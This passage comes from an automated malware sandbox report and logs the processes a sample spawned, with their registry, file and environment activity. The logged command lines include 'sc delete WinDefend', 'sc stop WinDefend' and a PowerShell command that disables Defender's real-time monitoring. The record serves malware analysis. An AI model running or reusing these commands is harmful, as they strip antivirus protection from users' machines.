Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\sc.exe os_pid = 0xdc0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a050000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:30:40 (UTC) True 1
Fn
Get Time type = Ticks, time = 10879213 True 1
Fn
Get Time type = Performance Ctr, time = 10110681499 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\2XC7u663GxWc\Desktop True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000005 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #5: sc.exe
9 0
»
Information Value
ID #5
File Name c:\windows\system32\sc.exe
Command Line sc delete WinDefend
Initial Working Directory C:\Users\2XC7u663GxWc\Desktop\
Monitor Start Time: 00:00:27, Reason: Child Process
Unmonitor End Time: 00:00:28, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xdc0
Parent PID 0xd94 (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x DC4
0x DDC
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Write STD_OUTPUT_HANDLE size = 51 True 1
Fn
Data
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\sc.exe base_address = 0x210000 True 1
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:30:40 (UTC) True 1
Fn
Get Time type = Ticks, time = 10879447 True 1
Fn
Get Time type = Performance Ctr, time = 10139722838 True 1
Fn
Process #6: sc.exe
9 0
»
Information Value
ID #6
File Name c:\windows\system32\sc.exe
Command Line sc stop WinDefend
Initial Working Directory C:\Users\2XC7u663GxWc\Desktop\
Monitor Start Time: 00:00:27, Reason: Child Process
Unmonitor End Time: 00:00:28, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xdc8
Parent PID 0xd78 (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x DCC
0x DD8
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Write STD_OUTPUT_HANDLE size = 51 True 1
Fn
Data
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\sc.exe base_address = 0x210000 True 1
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:30:40 (UTC) True 1
Fn
Get Time type = Ticks, time = 10879416 True 1
Fn
Get Time type = Performance Ctr, time = 10136278312 True 1
Fn
Process #7: powershell.exe
824 0
»
Information Value
ID #7
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line powershell Set-MpPreference -DisableRealtimeMonitoring $true
Initial Working Directory C:\Users\2XC7u663GxWc\Desktop\
Monitor Start Time: 00:00:27, Reason: Child Process
Unmonitor End Time: 00:00:45, Reason: Self Terminated
Monitor Duration 00:00:17
OS Process Information
»
Information Value
PID 0xdd0
Parent PID 0xd6c (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x DD4
0x DE0
0x DE4
0x DE8
0x DEC
0x DF0
0x E18
0x E1C
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
microsoft.powershell.consolehost.ni.dll 0x72240000 0x722C0FFF Content Changed - 32-bit 0x7229AF64, 0x72254390 False False
...
powershell.exe 0x21F80000 0x21FF1FFF Relevant Image - 32-bit - False False
...
system.ni.dll 0x6A240000 0x6A9DBFFF Content Changed - 32-bit 0x6A337964 False False
...
system.ni.dll 0x6A240000 0x6A9DBFFF Content Changed - 32-bit 0x6A3A11E0 False False
...
system.ni.dll 0x6A240000 0x6A9DBFFF Content Changed - 32-bit 0x6A357630 False False
...
system.ni.dll 0x6A240000 0x6A9DBFFF Content Changed - 32-bit 0x6A372300 False False
...
system.ni.dll 0x6A240000 0x6A9DBFFF Content Changed - 32-bit 0x6A34CFF8, 0x6A80009C, ... False False
...
Host Behavior
File (398)
»
Operation Filename Additional Information Success Count Logfile
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 6
Fn
Get Info C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0 type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_type True 2
Fn
Get Info C:\Users\2XC7u663GxWc type = file_attributes True 5
Fn
Get Info C:\ type = file_attributes True 6
Fn
Get Info C:\Users\2XC7u663GxWc\Desktop type = file_attributes True 7
Fn
Get Info C:\Users type = file_attributes True 4
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\2XC7u663GxWc\Documents\WindowsPowerShell\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\2XC7u663GxWc\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 4096 True 3
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 3315 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 781, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 4096 True 41
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 436 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 2530 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 542, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4096 True 5
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4018 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 78, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 2762 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 310, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 4096 True 17
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 3022 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 50, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 281 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 4096 True 62
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 3895 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 201, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 4096 True 21
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 3687 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 409, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 2228 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 844, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 3736 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 360, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 62 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 17 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 57 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 25 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 54 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 1 True 2
Fn
Data
Registry (190)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment - True 1
Fn
Open Key HKEY_CURRENT_USER\Environment - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 9
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
